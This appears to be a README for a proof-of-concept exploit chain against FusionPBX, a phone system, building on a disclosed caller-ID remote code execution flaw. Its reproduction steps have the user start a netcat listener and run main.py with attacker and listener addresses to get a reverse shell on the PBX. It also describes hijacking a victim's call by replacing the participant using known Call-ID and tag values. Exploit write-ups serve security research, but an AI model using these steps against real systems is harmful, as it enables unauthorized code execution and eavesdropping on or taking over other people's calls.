Prelude

This simple code tries to complete the implementation of the chained vulnerability introduced by Dustin Cobb at RCE Using Caller ID – Multiple Vulnerabilities In FusionPBX.

RCE

Reproduction Steps

1. View the vulnerable operator screen in a web browser, located in this example at https://{fusionpbx_address}/app/operator_panel/index.php
2. Start a netcat listener on a remote system (rce_listener_address).x`
3. Run the exploit code below on the remote system in another terminal window python3 .\main.py --close_rce_sockets False --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --rce_listener_address {rce_listener_address}
4. The exploit will connect to the netcat listener and provide a reverse shell

Replace a call

While we know Call-ID, from-tag, and to-tag from a call, running the below code will replace you instead of the victim in the call.